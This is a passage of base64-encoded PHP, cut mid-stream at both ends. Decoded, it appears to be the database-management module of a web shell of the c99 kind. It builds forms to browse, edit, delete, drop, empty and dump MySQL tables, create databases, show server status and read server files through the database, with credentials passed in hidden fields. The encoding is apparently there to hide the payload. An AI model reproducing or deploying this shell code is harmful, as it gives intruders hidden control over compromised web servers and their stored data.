RkPjxiPkZ1bmN0aW9uPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICAgICAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0X2ZpZWxkcyBhcyAkZmllbGQpIHsNCiAgICAgICAgICAgICRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOw0KICAgICAgICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fQ0KICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiI8L2I+PC90ZD48dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD48dGQ+PHNlbGVjdCBuYW1lPVwic3FsX3RibF9pbnNlcnRfZnVuY3RzWyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIj48b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+PG9wdGlvbj5QQVNTV09SRDwvb3B0aW9uPjxvcHRpb24+TUQ1PC9vcHRpb24+PG9wdGlvbj5FTkNSWVBUPC9vcHRpb24+PG9wdGlvbj5BU0NJSTwvb3B0aW9uPjxvcHRpb24+Q0hBUjwvb3B0aW9uPjxvcHRpb24+UkFORDwvb3B0aW9uPjxvcHRpb24+TEFTVF9JTlNFUlRfSUQ8L29wdGlvbj48b3B0aW9uPkNPVU5UPC9vcHRpb24+PG9wdGlvbj5BVkc8L29wdGlvbj48b3B0aW9uPlNVTTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJcIj4tLS0tLS0tLTwvb3B0aW9uPjxvcHRpb24+U09VTkRFWDwvb3B0aW9uPjxvcHRpb24+TENBU0U8L29wdGlvbj48b3B0aW9uPlVDQVNFPC9vcHRpb24+PG9wdGlvbj5OT1c8L29wdGlvbj48b3B0aW9uPkNVUkRBVEU8L29wdGlvbj48b3B0aW9uPkNVUlRJTUU8L29wdGlvbj48b3B0aW9uPkZST01fREFZUzwvb3B0aW9uPjxvcHRpb24+RlJPTV9VTklYVElNRTwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0FERDwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0RJRkY8L29wdGlvbj48b3B0aW9uPlRPX0RBWVM8L29wdGlvbj48b3B0aW9uPlVOSVhfVElNRVNUQU1QPC9vcHRpb24+PG9wdGlvbj5VU0VSPC9vcHRpb24+PG9wdGlvbj5XRUVLREFZPC9vcHRpb24+PG9wdGlvbj5DT05DQVQ8L29wdGlvbj48L3NlbGVjdD48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9pbnNlcnRbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2YWx1ZXNbJG5hbWVdKS4iXCIgc2l6ZT01MD48L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICRpKys7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVjaG8gIjwvdGFibGU+PGJyPiI7DQogICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMVwiIjsgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48Yj5JbnNlcnQgYXMgbmV3IHJvdzwvYj4iOw0KICAgICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7ZWNobyAiIG9yIDxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjJcIiBjaGVja2VkPjxiPlNhdmU8L2I+IjsgZWNobyAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsX2luc2VydF9xKS4iXCI+Ijt9DQogICAgICAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT4iOw0KICAgICAgICB9DQogICAgICB9DQogICAgICBpZiAoJHNxbF90YmxfeCA9PSAiYnJvd3NlIikgew0KICAgICAgICAkc3FsX3RibF9scyA9IGFicygkc3FsX3RibF9scyk7DQogICAgICAgICRzcWxfdGJsX2xlID0gYWJzKCRzcWxfdGJsX2xlKTsNCiAgICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgICAgICBlY2hvICI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1tdWx0aXBhZ2VcIiBoZWlnaHQ9XCIxMlwiIHdpZHRoPVwiMTBcIiBhbHQ9XCJQYWdlc1wiPiZuYnNwOyI7DQogICAgICAgICRiID0gMDsNCiAgICAgICAgZm9yKCRpPTA7JGk8JG51bXBhZ2VzOyRpKyspIHsNCiAgICAgICAgICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF9vcmRlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIiZzcWxfdGJsX2xzPSIuKCRpKiRwZXJwYWdlKS4iJnNxbF90YmxfbGU9Ii4oJGkqJHBlcnBhZ2UrJHBlcnBhZ2UpLiJcIj48dT4iO30NCiAgICAgICAgICBlY2hvICRpOw0KICAgICAgICAgIGlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgkaSokcGVycGFnZSskcGVycGFnZSAhPSAkc3FsX3RibF9sZSkpIHtlY2hvICI8L3U+PC9hPiI7fQ0KICAgICAgICAgIGlmICgoJGkvMzAgPT0gcm91bmQoJGkvMzApKSBhbmQgKCRpID4gMCkpIHtlY2hvICI8YnI+Ijt9DQogICAgICAgICAgZWxzZSB7ZWNobyAiJm5ic3A7Ijt9DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRpID09IDApIHtlY2hvICJlbXB0eSI7fQ0KICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xzXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xzLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbGVcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbGUuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPiI7DQogICAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4iOw0KICAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93X2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+IjsNCiAgICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgew0KICAgICAgICAgICR2ID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsNCiAgICAgICAgICBpZiAoJGVbMF0gPT0gImEiKSB7JHMgPSAiZCI7ICRtID0gImFzYyI7fQ0KICAgICAgICAgIGVsc2UgeyRzID0gImEiOyAkbSA9ICJkZXNjIjt9DQogICAgICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgICAgaWYgKGVtcHR5KCRlWzBdKSkgeyRlWzBdID0gImEiO30NCiAgICAgICAgICBpZiAoJGVbMV0gIT0gJHYpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRlWzBdLiIlMjAiLiR2LiJcIj48Yj4iLiR2LiI8L2I+PC9hPiI7fQ0KICAgICAgICAgIGVsc2Uge2VjaG8gIjxiPiIuJHYuIjwvYj48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRzLiIlMjAiLiR2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zb3J0XyIuJG0uIlwiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4kbS4iXCI+PC9hPiI7fQ0KICAgICAgICAgIGVjaG8gIjwvdGQ+IjsNCiAgICAgICAgfQ0KICAgICAgZWNobyAiPHRkPjxmb250IGNvbG9yPVwiZ3JlZW5cIj48Yj5BY3Rpb248L2I+PC9mb250PjwvdGQ+IjsNCiAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKSB7DQogICAgICAgZWNobyAiPHRyPiI7DQogICAgICAgJHcgPSAiIjsNCiAgICAgICAkaSA9IDA7DQogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpIHskbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7ICR3IC49ICIgYCIuJG5hbWUuImAgPSAnIi5hZGRzbGFzaGVzKCR2KS4iJyBBTkQiOyAkaSsrO30NCiAgICAgICBpZiAoY291bnQoJHJvdykgPiAwKSB7JHcgPSBzdWJzdHIoJHcsMCxzdHJsZW4oJHcpLTMpO30NCiAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dbXVwiIHZhbHVlPVwiIi4kdy4iXCI+PC90ZD4iOw0KICAgICAgICRpID0gMDsNCiAgICAgICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikNCiAgICAgICB7DQogICAgICAgICR2ID0gaHRtbHNwZWNpYWxjaGFycygkdik7DQogICAgICAgIGlmICgkdiA9PSAiIikgeyR2ID0gIjxmb250IGNvbG9yPVwiZ3JlZW5cIj5OVUxMPC9mb250PiI7fQ0KICAgICAgICBlY2hvICI8dGQ+Ii4kdi4iPC90ZD4iOw0KICAgICAgICAkaSsrOw0KICAgICAgIH0NCiAgICAgICBlY2hvICI8dGQ+IjsNCiAgICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF94PXF1ZXJ5JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHcuIiBMSU1JVCAxOyIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zcWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEZWxldGVcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7DQogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsX3g9aW5zZXJ0JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9pbnNlcnRfcT0iLnVybGVuY29kZSgkdykuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkVkaXRcIiBoZWlnaHQ9XCIxNFwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7DQogICAgICAgZWNobyAiPC90ZD4iOw0KICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIH0NCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwibGVmdFwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfeFwiPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZXJvd1wiPkRlbGV0ZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsNCiAgICAgfQ0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFIFNUQVRVUyIsICRzcWxfc29jayk7DQogICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgZWxzZQ0KICAgICB7DQogICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsX2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+PHRkPjxjZW50ZXI+PGI+VGFibGU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGI+Um93czwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkNyZWF0ZWQ8L2I+PC90ZD48dGQ+PGI+TW9kaWZpZWQ8L2I+PC90ZD48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7DQogICAgICAkaSA9IDA7DQogICAgICAkdHNpemUgPSAkdHJvd3MgPSAwOw0KICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpDQogICAgICB7DQogICAgICAgJHRzaXplICs9ICRyb3dbIkRhdGFfbGVuZ3RoIl07DQogICAgICAgJHRyb3dzICs9ICRyb3dbIlJvd3MiXTsNCiAgICAgICAkc2l6ZSA9IHZpZXdfc2l6ZSgkcm93WyJEYXRhX2xlbmd0aCJdKTsNCiAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxbXVwiIHZhbHVlPVwiIi4kcm93WyJOYW1lIl0uIlwiPjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRyb3dbIk5hbWUiXSkuIlwiPjxiPiIuJHJvd1siTmFtZSJdLiI8L2I+PC9hPiZuYnNwOzwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJSb3dzIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJUeXBlIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJDcmVhdGVfdGltZSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVXBkYXRlX3RpbWUiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRzaXplLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kcm93WyJOYW1lIl0uImAiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c3FsX2J1dHRvbl9lbXB0eVwiIGFsdD1cIkVtcHR5XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF94PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiRFJPUCBUQUJMRSBgIi4kcm93WyJOYW1lIl0uImAiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c3FsX2J1dHRvbl9kcm9wXCIgYWx0PVwiRHJvcFwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsX3g9aW5zZXJ0JnNxbF90Ymw9Ii4kcm93WyJOYW1lIl0uIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNxbF9idXR0b25faW5zZXJ0XCIgYWx0PVwiSW5zZXJ0XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8L3RkPiI7DQogICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgICRpKys7DQogICAgICB9DQogICAgICBlY2hvICI8dHIgYmdjb2xvcj1cIjAwMDAwMFwiPiI7DQogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj4rPC9iPjwvY2VudGVyPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPiIuJGkuIiB0YWJsZShzKTwvYj48L2NlbnRlcj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGI+Ii4kdHJvd3MuIjwvYj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzFdLiI8L3RkPiI7DQogICAgICBlY2hvICI8dGQ+Ii4kcm93WzEwXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMV0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48Yj4iLnZpZXdfc2l6ZSgkdHNpemUpLiI8L2I+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cInJpZ2h0XCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3QgbmFtZT1cInNxbF94XCI+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGVtcHR5XCI+RW1wdHk8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGR1bXBcIj5EdW1wPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNrIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxvcHRpbWl6ZVwiPk9wdGltaXplIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxyZXBhaXJcIj5SZXBhaXIgdGFibGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFuYWx5emVcIj5BbmFseXplIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPjwvcD4iOw0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgIH0NCiAgICB9DQogICB9DQogICB9DQogIH0NCiAgZWxzZSB7DQogICAkYWN0cyA9IGFycmF5KCIiLCJuZXdkYiIsInNlcnZlcnN0YXR1cyIsInNlcnZlcnZhcnMiLCJwcm9jZXNzZXMiLCJnZXRmaWxlIik7DQogICBpZiAoaW5fYXJyYXkoJHNxbF94LCRhY3RzKSkgez8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0ibmV3ZGIiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9uZXdkYiIgc2l6ZT0iMjAiPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPlZpZXcgRmlsZTo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3giIHZhbHVlPSJnZXRmaWxlIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfZ2V0ZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nZXRmaWxlKTsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPjw/cGhwIH0NCiAgIGlmICghZW1wdHkoJHNxbF94KSkgew0KICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICBpZiAoJHNxbF94ID09ICJuZXdkYiIpIHsNCiAgICAgZWNobyAiPGI+IjsNCiAgICAgaWYgKChteXNxbF9jcmVhdGVfZGIgKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgkc3FsX25ld2RiKSkpIHtlY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iO30NCiAgICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7fQ0KICAgIH0NCiAgICBpZiAoJHNxbF94ID09ICJzZXJ2ZXJzdGF0dXMiKSB7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBTVEFUVVMiLCAkc3FsX3NvY2spOw0KICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlci1zdGF0dXMgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsNCiAgICAgd2hpbGUgK